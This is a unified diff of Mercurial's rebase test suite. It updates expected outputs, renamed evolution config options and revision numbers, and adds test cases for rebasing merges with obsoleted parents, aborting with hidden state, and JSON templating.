   $ hg up 3
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -519,7 +546,6 @@
   $ hg rebase --dest 6 --rev '((desc(H) + desc(D))::) - desc(M)'
   rebasing 3:32af7686d403 "D"
   rebasing 7:02de42196ebe "H"
-  not rebasing ignored 8:53a6a128b2b7 "M"
   rebasing 9:4bde274eefcf "I" (tip)
   $ hg log -G
   @  12:acd174b7ab39 I
@@ -603,11 +629,11 @@
   $ hg add M
   $ hg commit --amend -m "M"
   $ hg log -G
-  @  20:bfaedf8eb73b M
+  @  18:bfaedf8eb73b M
   |
-  | o  18:97219452e4bd L
+  | o  17:97219452e4bd L
   | |
-  | x  17:fc37a630c901 K
+  | x  16:fc37a630c901 K
   |/
   | o  15:5ae8a643467b J
   | |
@@ -637,8 +663,8 @@
   |/
   o  0:cd010b8cd998 A
   
-  $ hg rebase -s 14 -d 18 --config experimental.rebaseskipobsolete=True
-  note: not rebasing 14:9ad579b4a5de "I", already in destination as 17:fc37a630c901 "K"
+  $ hg rebase -s 14 -d 17 --config experimental.rebaseskipobsolete=True
+  note: not rebasing 14:9ad579b4a5de "I", already in destination as 16:fc37a630c901 "K"
   rebasing 15:5ae8a643467b "J"
 
   $ cd ..
@@ -710,7 +736,7 @@
   |
   o  0:4a2df7238c3b A
   
-  $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.evolution=all
+  $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.evolution=true
   obsoleted 1 changesets
   $ hg rebase -d 6 -r "4::"
   rebasing 4:ff2c4d47b71d "C"
@@ -738,7 +764,7 @@
   $ hg add nonrelevant
   $ hg commit -m nonrelevant
   created new head
-  $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.evolution=all
+  $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.evolution=true
   obsoleted 1 changesets
   $ hg rebase -r . -d 10
   note: not rebasing 11:f44da1f4954c "nonrelevant" (tip), it has no successor
@@ -746,10 +772,8 @@
 If a rebase is going to create divergence, it should abort
 
   $ hg log -G
-  @  11:f44da1f4954c nonrelevant
+  @  10:121d9e3bc4c6 P
   |
-  | o  10:121d9e3bc4c6 P
-  |/
   o  9:4be60e099a77 C
   |
   o  6:9c48361117de D
@@ -776,9 +800,9 @@
   $ hg add foo
   $ hg commit -m "bar foo"
   $ hg log -G
-  @  15:73568ab6879d bar foo
+  @  14:73568ab6879d bar foo
   |
-  | o  14:77d874d096a2 10'
+  | o  13:77d874d096a2 10'
   | |
   | | o  12:3eb461388009 john doe
   | |/
@@ -793,21 +817,21 @@
   o  0:4a2df7238c3b A
   
   $ hg summary
-  parent: 15:73568ab6879d tip (unstable)
+  parent: 14:73568ab6879d tip (orphan)
    bar foo
   branch: default
   commit: (clean)
   update: 2 new changesets, 3 branch heads (merge)
   phases: 8 draft
-  unstable: 1 changesets
+  orphan: 1 changesets
   $ hg rebase -s 10 -d 12
   abort: this rebase will cause divergences from: 121d9e3bc4c6
-  (to force the rebase please set experimental.allowdivergence=True)
+  (to force the rebase please set experimental.evolution.allowdivergence=True)
   [255]
   $ hg log -G
-  @  15:73568ab6879d bar foo
+  @  14:73568ab6879d bar foo
   |
-  | o  14:77d874d096a2 10'
+  | o  13:77d874d096a2 10'
   | |
   | | o  12:3eb461388009 john doe
   | |/
@@ -821,25 +845,25 @@
   |
   o  0:4a2df7238c3b A
   
-With experimental.allowdivergence=True, rebase can create divergence
+With experimental.evolution.allowdivergence=True, rebase can create divergence
 
-  $ hg rebase -s 10 -d 12 --config experimental.allowdivergence=True
+  $ hg rebase -s 10 -d 12 --config experimental.evolution.allowdivergence=True
   rebasing 10:121d9e3bc4c6 "P"
-  rebasing 15:73568ab6879d "bar foo" (tip)
+  rebasing 14:73568ab6879d "bar foo" (tip)
   $ hg summary
-  parent: 17:61bd55f69bc4 tip
+  parent: 16:61bd55f69bc4 tip
    bar foo
   branch: default
   commit: (clean)
   update: 1 new changesets, 2 branch heads (merge)
   phases: 8 draft
-  divergent: 2 changesets
+  content-divergent: 2 changesets
 
 rebase --continue + skipped rev because their successors are in destination
 we make a change in trunk and work on conflicting changes to make rebase abort.
 
-  $ hg log -G -r 17::
-  @  17:61bd55f69bc4 bar foo
+  $ hg log -G -r 16::
+  @  16:61bd55f69bc4 bar foo
   |
   ~
 
@@ -852,7 +876,7 @@
   $ hg commit -m "dummy change successor"
 
 Create the changes that we will rebase
-  $ hg update -C 17 -q
+  $ hg update -C 16 -q
   $ printf "b" > willconflict
   $ hg add willconflict
   $ hg commit -m "willconflict second version"
@@ -863,25 +887,25 @@
   $ printf "dummy" > L
   $ hg add L
   $ hg commit -m "dummy change"
-  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 19 -T '{node}'` --config experimental.evolution=all
+  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 18 -T '{node}'` --config experimental.evolution=true
   obsoleted 1 changesets
 
-  $ hg log -G -r 17::
-  @  22:7bdc8a87673d dummy change
+  $ hg log -G -r 16::
+  @  21:7bdc8a87673d dummy change
   |
-  x  21:8b31da3c4919 dummy change
+  x  20:8b31da3c4919 dummy change
   |
-  o  20:b82fb57ea638 willconflict second version
+  o  19:b82fb57ea638 willconflict second version
   |
-  | o  19:601db7a18f51 dummy change successor
+  | o  18:601db7a18f51 dummy change successor
   | |
-  | o  18:357ddf1602d5 willconflict first version
+  | o  17:357ddf1602d5 willconflict first version
   |/
-  o  17:61bd55f69bc4 bar foo
+  o  16:61bd55f69bc4 bar foo
   |
   ~
-  $ hg rebase -r ".^^ + .^ + ." -d 19
-  rebasing 20:b82fb57ea638 "willconflict second version"
+  $ hg rebase -r ".^^ + .^ + ." -d 18
+  rebasing 19:b82fb57ea638 "willconflict second version"
   merging willconflict
   warning: conflicts while merging willconflict! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
@@ -891,68 +915,298 @@
   (no more unresolved files)
   continue: hg rebase --continue
   $ hg rebase --continue
-  rebasing 20:b82fb57ea638 "willconflict second version"
-  note: not rebasing 21:8b31da3c4919 "dummy change", already in destination as 19:601db7a18f51 "dummy change successor"
-  rebasing 22:7bdc8a87673d "dummy change" (tip)
+  rebasing 19:b82fb57ea638 "willconflict second version"
+  note: not rebasing 20:8b31da3c4919 "dummy change", already in destination as 18:601db7a18f51 "dummy change successor"
+  rebasing 21:7bdc8a87673d "dummy change" (tip)
+  $ cd ..
+
+Rebase merge where successor of one parent is equal to destination (issue5198)
+
+  $ hg init p1-succ-is-dest
+  $ cd p1-succ-is-dest
+
+  $ hg debugdrawdag <<EOF
+  >   F
+  >  /|
+  > E D B # replace: D -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d B -s D
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B" (B)
+  rebasing 4:66f1a38021c9 "F" (F tip)
+  $ hg log -G
+  o    5:50e9d60b99c6 F
+  |\
+  | | x  4:66f1a38021c9 F
+  | |/|
+  | o |  3:7fb047a69f22 E
+  | | |
+  | | x  2:b18e25de2cf5 D
+  | |/
+  o |  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of other parent is equal to destination
+
+  $ hg init p2-succ-is-dest
+  $ cd p2-succ-is-dest
+
+  $ hg debugdrawdag <<EOF
+  >   F
+  >  /|
+  > E D B # replace: E -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d B -s E
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B" (B)
+  rebasing 4:66f1a38021c9 "F" (F tip)
+  $ hg log -G
+  o    5:aae1787dacee F
+  |\
+  | | x  4:66f1a38021c9 F
+  | |/|
+  | | x  3:7fb047a69f22 E
+  | | |
+  | o |  2:b18e25de2cf5 D
+  | |/
+  o /  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of one parent is ancestor of destination
+
+  $ hg init p1-succ-in-dest
+  $ cd p1-succ-in-dest
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: D -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d C -s D
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B" (B)
+  rebasing 5:66f1a38021c9 "F" (F tip)
+
+  $ hg log -G
+  o    6:0913febf6439 F
+  |\
+  +---x  5:66f1a38021c9 F
+  | | |
+  | o |  4:26805aba1e60 C
+  | | |
+  o | |  3:7fb047a69f22 E
+  | | |
+  +---x  2:b18e25de2cf5 D
+  | |
+  | o  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of other parent is ancestor of destination
+
+  $ hg init p2-succ-in-dest
+  $ cd p2-succ-in-dest
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: E -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d C -s E
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B" (B)
+  rebasing 5:66f1a38021c9 "F" (F tip)
+  $ hg log -G
+  o    6:c6ab0cc6d220 F
+  |\
+  +---x  5:66f1a38021c9 F
+  | | |
+  | o |  4:26805aba1e60 C
+  | | |
+  | | x  3:7fb047a69f22 E
+  | | |
+  o---+  2:b18e25de2cf5 D
+   / /
+  o /  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
+  
   $ cd ..
 
-rebase source is obsoleted (issue5198)
----------------------------------
+Rebase merge where successor of one parent is ancestor of destination
+
+  $ hg init p1-succ-in-dest-b
+  $ cd p1-succ-in-dest-b
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: E -> B
+  >  \|/
+  >   A
+  > EOF
 
-  $ hg clone base amended
-  updating to branch default
-  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ cd amended
-  $ hg up 9520eea781bc
-  1 files updated, 0 files merged, 2 files removed, 0 files unresolved
-  $ echo 1 >> E
-  $ hg commit --amend -m "E'" -d "0 0"
+  $ hg rebase -d C -b F
+  rebasing 2:b18e25de2cf5 "D" (D)
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B" (B)
+  rebasing 5:66f1a38021c9 "F" (F tip)
+  note: rebase of 5:66f1a38021c9 created no changes to commit
   $ hg log -G
-  @  9:69abe8906104 E'
+  o  6:8f47515dda15 D
   |
-  | o  7:02de42196ebe H
-  | |
-  | | o  6:eea13746799a G
-  | |/|
-  | o |  5:24b6387c8c8c F
-  |/ /
-  | x  4:9520eea781bc E
+  | x    5:66f1a38021c9 F
+  | |\
+  o | |  4:26805aba1e60 C
+  | | |
+  | | x  3:7fb047a69f22 E
+  | | |
+  | x |  2:b18e25de2cf5 D
+  | |/
+  o /  1:112478962961 B
+  |/
+  o  0:426bada5c675 A
+  
+  $ cd ..
+
+Rebase merge where successor of other parent is ancestor of destination
+
+  $ hg init p2-succ-in-dest-b
+  $ cd p2-succ-in-dest-b
+
+  $ hg debugdrawdag <<EOF
+  >   F C
+  >  /| |
+  > E D B # replace: D -> B
+  >  \|/
+  >   A
+  > EOF
+
+  $ hg rebase -d C -b F
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B" (B)
+  rebasing 3:7fb047a69f22 "E" (E)
+  rebasing 5:66f1a38021c9 "F" (F tip)
+  note: rebase of 5:66f1a38021c9 created no changes to commit
+
+  $ hg log -G
+  o  6:533690786a86 E
+  |
+  | x    5:66f1a38021c9 F
+  | |\
+  o | |  4:26805aba1e60 C
+  | | |
+  | | x  3:7fb047a69f22 E
+  | | |
+  | x |  2:b18e25de2cf5 D
+  | |/
+  o /  1:112478962961 B
   |/
-  | o  3:32af7686d403 D
-  | |
-  | o  2:5fddd98957c8 C
-  | |
-  | o  1:42ccdea3bb16 B
-  |/
-  o  0:cd010b8cd998 A
+  o  0:426bada5c675 A
   
-  $ hg rebase -d . -s 9520eea781bc
-  note: not rebasing 4:9520eea781bc "E", already in destination as 9:69abe8906104 "E'"
-  rebasing 6:eea13746799a "G"
+  $ cd ..
+
+Rebase merge where both parents have successors in destination
+
+  $ hg init p12-succ-in-dest
+  $ cd p12-succ-in-dest
+  $ hg debugdrawdag <<'EOS'
+  >   E   F
+  >  /|  /|  # replace: A -> C
+  > A B C D  # replace: B -> D
+  > | |
+  > X Y
+  > EOS
+  $ hg rebase -r A+B+E -d F
+  note: not rebasing 4:a3d17304151f "A" (A), already in destination as 0:96cc3511f894 "C" (C)
+  note: not rebasing 5:b23a2cc00842 "B" (B), already in destination as 1:058c1e1fb10a "D" (D)
+  rebasing 7:dac5d11c5a7d "E" (E tip)
+  abort: rebasing 7:dac5d11c5a7d will include unwanted changes from 3:59c792af609c, 5:b23a2cc00842 or 2:ba2b7fa7166d, 4:a3d17304151f
+  [255]
+  $ cd ..
+
+Rebase a non-clean merge. One parent has successor in destination, the other
+parent moves as requested.
+
+  $ hg init p1-succ-p2-move
+  $ cd p1-succ-p2-move
+  $ hg debugdrawdag <<'EOS'
+  >   D Z
+  >  /| | # replace: A -> C
+  > A B C # D/D = D
+  > EOS
+  $ hg rebase -r A+B+D -d Z
+  note: not rebasing 0:426bada5c675 "A" (A), already in destination as 2:96cc3511f894 "C" (C)
+  rebasing 1:fc2b737bb2e5 "B" (B)
+  rebasing 3:b8ed089c80ad "D" (D)
+
+  $ rm .hg/localtags
   $ hg log -G
-  o    10:17be06e82e95 G
-  |\
-  | @  9:69abe8906104 E'
-  | |
-  +---o  7:02de42196ebe H
-  | |
-  o |  5:24b6387c8c8c F
-  |/
-  | o  3:32af7686d403 D
-  | |
-  | o  2:5fddd98957c8 C
-  | |
-  | o  1:42ccdea3bb16 B
-  |/
-  o  0:cd010b8cd998 A
+  o  6:e4f78693cc88 D
+  |
+  o  5:76840d832e98 B
+  |
+  o  4:50e41c1f3950 Z
+  |
+  o  2:96cc3511f894 C
   
+  $ hg files -r tip
+  B
+  C
+  D
+  Z
+
+  $ cd ..
+
+  $ hg init p1-move-p2-succ
+  $ cd p1-move-p2-succ
+  $ hg debugdrawdag <<'EOS'
+  >   D Z
+  >  /| |  # replace: B -> C
+  > A B C  # D/D = D
+  > EOS
+  $ hg rebase -r B+A+D -d Z
+  rebasing 0:426bada5c675 "A" (A)
+  note: not rebasing 1:fc2b737bb2e5 "B" (B), already in destination as 2:96cc3511f894 "C" (C)
+  rebasing 3:b8ed089c80ad "D" (D)
+
+  $ rm .hg/localtags
+  $ hg log -G
+  o  6:1b355ed94d82 D
+  |
+  o  5:a81a74d764a6 A
+  |
+  o  4:50e41c1f3950 Z
+  |
+  o  2:96cc3511f894 C
+  
+  $ hg files -r tip
+  A
+  C
+  D
+  Z
+
   $ cd ..
 
 Test that bookmark is moved and working dir is updated when all changesets have
 equivalents in destination
   $ hg init rbsrepo && cd rbsrepo
   $ echo "[experimental]" > .hg/hgrc
-  $ echo "evolution=all" >> .hg/hgrc
+  $ echo "evolution=true" >> .hg/hgrc
   $ echo "rebaseskipobsolete=on" >> .hg/hgrc
   $ echo root > root && hg ci -Am root
   adding root
@@ -972,18 +1226,151 @@
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   2:1e9a3c00cbe9 b (no-eol)
   $ hg rebase -r 2 -d 3 --config experimental.evolution.track-operation=1
-  note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b"
-Check that working directory was updated to rev 3 although rev 2 was skipped
-during the rebase operation
+  note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b" (tip)
+Check that working directory and bookmark was updated to rev 3 although rev 2
+was skipped
   $ hg log -r .
   3:be1832deae9a b (no-eol)
+  $ hg bookmarks
+     mybook                    3:be1832deae9a
+  $ hg debugobsolete --rev tip
+  1e9a3c00cbe90d236ac05ef61efcc5e40b7412bc be1832deae9ac531caa7438b8dcf6055a122cd8e 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
-Check that bookmark was not moved to rev 3 if rev 2 was skipped during the
-rebase operation. This makes sense because if rev 2 has a successor, the
-operation generating that successor (ex. rebase) should be responsible for
-moving bookmarks. If the bookmark is on a precursor, like rev 2, that means the
-user manually moved it back. In that case we should not move it again.
-  $ hg bookmarks
-     mybook                    2:1e9a3c00cbe9
-  $ hg debugobsolete --rev tip
-  1e9a3c00cbe90d236ac05ef61efcc5e40b7412bc be1832deae9ac531caa7438b8dcf6055a122cd8e 0 (*) {'user': 'test'} (glob)
+Obsoleted working parent and bookmark could be moved if an ancestor of working
+parent gets moved:
+
+  $ hg init $TESTTMP/ancestor-wd-move
+  $ cd $TESTTMP/ancestor-wd-move
+  $ hg debugdrawdag <<'EOS'
+  >  E D1  # rebase: D1 -> D2
+  >  | |
+  >  | C
+  > D2 |
+  >  | B
+  >  |/
+  >  A
+  > EOS
+  $ hg update D1 -q
+  $ hg bookmark book -i
+  $ hg rebase -r B+D1 -d E
+  rebasing 1:112478962961 "B" (B)
+  note: not rebasing 5:15ecf15e0114 "D1" (book D1 tip), already in destination as 2:0807738e0be9 "D2" (D2)
+  $ hg log -G -T '{desc} {bookmarks}'
+  @  B book
+  |
+  | x  D1
+  | |
+  o |  E
+  | |
+  | o  C
+  | |
+  o |  D2
+  | |
+  | x  B
+  |/
+  o  A
+  
+Rebasing a merge with one of its parent having a hidden successor
+
+  $ hg init $TESTTMP/merge-p1-hidden-successor
+  $ cd $TESTTMP/merge-p1-hidden-successor
+
+  $ hg debugdrawdag <<'EOS'
+  >  E
+  >  |
+  > B3 B2 # amend: B1 -> B2 -> B3
+  >  |/   # B2 is hidden
+  >  |  D
+  >  |  |\
+  >  | B1 C
+  >  |/
+  >  A
+  > EOS
+
+  $ eval `hg tags -T '{tag}={node}\n'`
+  $ rm .hg/localtags
+
+  $ hg rebase -r $D -d $E
+  rebasing 5:9e62094e4d94 "D"
+
+  $ hg log -G
+  o    7:a699d059adcf D
+  |\
+  | o  6:ecc93090a95c E
+  | |
+  | o  4:0dc878468a23 B3
+  | |
+  o |  1:96cc3511f894 C
+   /
+  o  0:426bada5c675 A
+  
+For some reasons (--hidden, rebaseskipobsolete=0, directaccess, etc.),
+rebasestate may contain hidden hashes. "rebase --abort" should work regardless.
+
+  $ hg init $TESTTMP/hidden-state1
+  $ cd $TESTTMP/hidden-state1
+  $ cat >> .hg/hgrc <<EOF
+  > [experimental]
+  > rebaseskipobsolete=0
+  > EOF
+
+  $ hg debugdrawdag <<'EOS'
+  >    C
+  >    |
+  >  D B # prune: B, C
+  >  |/  # B/D=B
+  >  A
+  > EOS
+
+  $ eval `hg tags -T '{tag}={node}\n'`
+  $ rm .hg/localtags
+
+  $ hg update -q $C --hidden
+  $ hg rebase -s $B -d $D
+  rebasing 1:2ec65233581b "B"
+  merging D
+  warning: conflicts while merging D! (edit, then use 'hg resolve --mark')
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ cp -R . $TESTTMP/hidden-state2
+
+  $ hg log -G
+  @  2:b18e25de2cf5 D
+  |
+  | @  1:2ec65233581b B
+  |/
+  o  0:426bada5c675 A
+  
+  $ hg summary
+  parent: 2:b18e25de2cf5 tip
+   D
+  parent: 1:2ec65233581b  (obsolete)
+   B
+  branch: default
+  commit: 2 modified, 1 unknown, 1 unresolved (merge)
+  update: (current)
+  phases: 3 draft
+  rebase: 0 rebased, 2 remaining (rebase --continue)
+
+  $ hg rebase --abort
+  rebase aborted
+
+Also test --continue for the above case
+
+  $ cd $TESTTMP/hidden-state2
+  $ hg resolve -m
+  (no more unresolved files)
+  continue: hg rebase --continue
+  $ hg rebase --continue
+  rebasing 1:2ec65233581b "B"
+  rebasing 3:7829726be4dc "C" (tip)
+  $ hg log -G
+  @  5:1964d5d5b547 C
+  |
+  o  4:68deb90c12a2 B
+  |
+  o  2:b18e25de2cf5 D
+  |
+  o  0:426bada5c675 A
+  
diff --git a/tests/test-rebase-parameters.t b/tests/test-rebase-parameters.t
--- a/tests/test-rebase-parameters.t
+++ b/tests/test-rebase-parameters.t
@@ -17,6 +17,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-rebase-partial.t b/tests/test-rebase-partial.t
--- a/tests/test-rebase-partial.t
+++ b/tests/test-rebase-partial.t
@@ -7,7 +7,8 @@
   > drawdag=$TESTDIR/drawdag.py
   > 
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > 
   > [alias]
   > tglog = log -G --template "{rev}: {desc}"
@@ -81,7 +82,6 @@
   > A
   > EOF
   already rebased 1:112478962961 "B" (B)
-  not rebasing ignored 2:26805aba1e60 "C" (C)
   rebasing 3:f585351a92f8 "D" (D tip)
   o  4: D
   |
diff --git a/tests/test-rebase-pull.t b/tests/test-rebase-pull.t
--- a/tests/test-rebase-pull.t
+++ b/tests/test-rebase-pull.t
@@ -54,6 +54,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 77ae9631bcca
   rebasing 2:ff8d69a621f9 "L1"
   saved backup bundle to $TESTTMP/b/.hg/strip-backup/ff8d69a621f9-160fa373-rebase.hg (glob)
 
@@ -143,6 +144,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 77ae9631bcca
   nothing to rebase - updating instead
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updating bookmark norebase
@@ -210,6 +212,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 31cd3a05214e:770a61882ace
   rebasing 3:ff8d69a621f9 "L1"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/ff8d69a621f9-160fa373-rebase.hg (glob)
   $ hg tglog
@@ -252,6 +255,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 00e3b7781125
   rebasing 5:518d153c0ba3 "L1"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/518d153c0ba3-73407f14-rebase.hg (glob)
   $ hg tglog
@@ -304,6 +308,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 88dd24261747
   rebasing 6:0d0727eb7ce0 "L1"
   rebasing 7:c1f58876e3bf "L2"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/0d0727eb7ce0-ef61ccb2-rebase.hg (glob)
@@ -345,6 +350,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 65bc164c1d9b
   nothing to rebase - updating instead
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "65bc164c1d9b: R6"
@@ -394,6 +400,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 39c381359968
   nothing to rebase
 
 There is two local heads and we pull a third one.
@@ -420,6 +427,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets f7d3e42052f9
   rebasing 7:864e0a2d2614 "L1"
   rebasing 8:6dc0ea5dcf55 "L2"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/864e0a2d2614-2f72c89c-rebase.hg (glob)
diff --git a/tests/test-rebase-scenario-global.t b/tests/test-rebase-scenario-global.t
--- a/tests/test-rebase-scenario-global.t
+++ b/tests/test-rebase-scenario-global.t
@@ -18,6 +18,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -264,14 +265,14 @@
 F onto G - rebase onto a descendant:
 
   $ hg rebase -s 5 -d 6
-  abort: source is ancestor of destination
+  abort: source and destination form a cycle
   [255]
 
 G onto B - merge revision with both parents not in ancestors of target:
 
   $ hg rebase -s 6 -d 1
   rebasing 6:eea13746799a "G"
-  abort: cannot use revision 6 as base, result would have 3 parents
+  abort: cannot rebase 6:eea13746799a without moving at least one of its parents
   [255]
   $ hg rebase --abort
   rebase aborted
@@ -420,6 +421,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 9 changes to 9 files (+2 heads)
+  new changesets 9ae2ed22e576:479ddb54a924
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg tglog
   o  8: 'I'
@@ -966,7 +968,7 @@
   > [extensions]
   > wraprebase=$TESTTMP/wraprebase.py
   > [experimental]
-  > evolution=all
+  > evolution=true
   > EOF
 
   $ hg debugdrawdag <<'EOS'
diff --git a/tests/test-rebase-templates.t b/tests/test-rebase-templates.t
new file mode 100644
--- /dev/null
+++ b/tests/test-rebase-templates.t
@@ -0,0 +1,44 @@
+Testing templating for rebase command
+
+Setup
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > [experimental]
+  > evolution=createmarkers
+  > EOF
+
+  $ hg init repo
+  $ cd repo
+  $ for ch in a b c d; do echo foo > $ch; hg commit -Aqm "Added "$ch; done
+
+  $ hg log -G -T "{rev}:{node|short} {desc}"
+  @  3:62615734edd5 Added d
+  |
+  o  2:28ad74487de9 Added c
+  |
+  o  1:29becc82797a Added b
+  |
+  o  0:18d04c59bb5d Added a
+  
+Getting the JSON output for nodechanges
+
+  $ hg rebase -s 2 -d 0 -q -Tjson
+  [
+   {
+    "nodechanges": {"28ad74487de9599d00d81085be739c61fc340652": ["849767420fd5519cf0026232411a943ed03cc9fb"], "62615734edd52f06b6fb9c2beb429e4fe30d57b8": ["df21b32134ba85d86bca590cbe9b8b7cbc346c53"]}
+   }
+  ]
+
+  $ hg log -G -T "{rev}:{node|short} {desc}"
+  @  5:df21b32134ba Added d
+  |
+  o  4:849767420fd5 Added c
+  |
+  | o  1:29becc82797a Added b
+  |/
+  o  0:18d04c59bb5d Added a
+  
+  $ hg rebase -s 1 -d 5 -q -T "{nodechanges|json}"
+  {"29becc82797a4bc11ec8880b58eaecd2ab3e7760": ["d9d6773efc831c274eace04bc13e8e6412517139"]} (no-eol)
diff --git a/tests/test-rebase-base.t b/tests/test-rebase-transaction.t
copy from tests/test-rebase-base.t
copy to tests/test-rebase-transaction.t
--- a/tests/test-rebase-base.t
+++ b/tests/test-rebase-transaction.t
@@ -10,372 +10,40 @@
   > tglog = log -G --template "{rev}: {desc}"
   > EOF
 
-  $ rebasewithdag() {
-  >   N=`$PYTHON -c "print($N+1)"`
-  >   hg init repo$N && cd repo$N
-  >   hg debugdrawdag
-  >   hg rebase "$@" > _rebasetmp
-  >   r=$?
-  >   grep -v 'saved backup bundle' _rebasetmp
-  >   [ $r -eq 0 ] && hg tglog
-  >   cd ..
-  >   return $r
-  > }
-
-Single branching point, without merge:
+Rebasing using a single transaction
 
-  $ rebasewithdag -b D -d Z <<'EOS'
-  >     D E
-  >     |/
-  > Z B C   # C: branching point, E should be picked
-  >  \|/    # B should not be picked
-  >   A
+  $ hg init singletr && cd singletr
+  $ cat >> .hg/hgrc <<EOF
+  > [rebase]
+  > singletransaction=True
+  > EOF
+  $ hg debugdrawdag <<'EOF'
+  >   Z
   >   |
-  >   R
-  > EOS
-  rebasing 3:d6003a550c2c "C" (C)
-  rebasing 5:4526cf523425 "D" (D)
-  rebasing 6:b296604d9846 "E" (E tip)
-  o  6: E
+  >   | D
+  >   | |
+  >   | C
+  >   | |
+  >   Y B
+  >   |/
+  >   A
+  > EOF
+- We should only see two status stored messages. One from the start, one from
+- the end.
+  $ hg rebase --debug -b D -d Z | grep 'status stored'
+  rebase status stored
+  rebase status stored
+  $ hg tglog
+  o  5: D
   |
-  | o  5: D
-  |/
   o  4: C
   |
-  o  3: Z
-  |
-  | o  2: B
-  |/
-  o  1: A
-  |
-  o  0: R
-  
-Multiple branching points caused by selecting a single merge changeset:
-
-  $ rebasewithdag -b E -d Z <<'EOS'
-  >     E
-  >    /|
-  >   B C D  # B, C: multiple branching points
-  >   | |/   # D should not be picked
-  > Z | /
-  >  \|/
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 2:c1e6b162678d "B" (B)
-  rebasing 3:d6003a550c2c "C" (C)
-  rebasing 6:54c8f00cb91c "E" (E tip)
-  o    6: E
-  |\
-  | o  5: C
-  | |
-  o |  4: B
-  |/
-  o  3: Z
-  |
-  | o  2: D
-  |/
-  o  1: A
+  o  3: B
   |
-  o  0: R
-  
-Rebase should not extend the "--base" revset using "descendants":
-
-  $ rebasewithdag -b B -d Z <<'EOS'
-  >     E
-  >    /|
-  > Z B C  # descendants(B) = B+E. With E, C will be included incorrectly
-  >  \|/
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 2:c1e6b162678d "B" (B)
-  rebasing 5:54c8f00cb91c "E" (E tip)
-  o    5: E
-  |\
-  | o  4: B
-  | |
-  | o  3: Z
-  | |
-  o |  2: C
-  |/
-  o  1: A
-  |
-  o  0: R
-  
-Rebase should not simplify the "--base" revset using "roots":
-
-  $ rebasewithdag -b B+E -d Z <<'EOS'
-  >     E
-  >    /|
-  > Z B C  # roots(B+E) = B. Without E, C will be missed incorrectly
-  >  \|/
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 2:c1e6b162678d "B" (B)
-  rebasing 3:d6003a550c2c "C" (C)
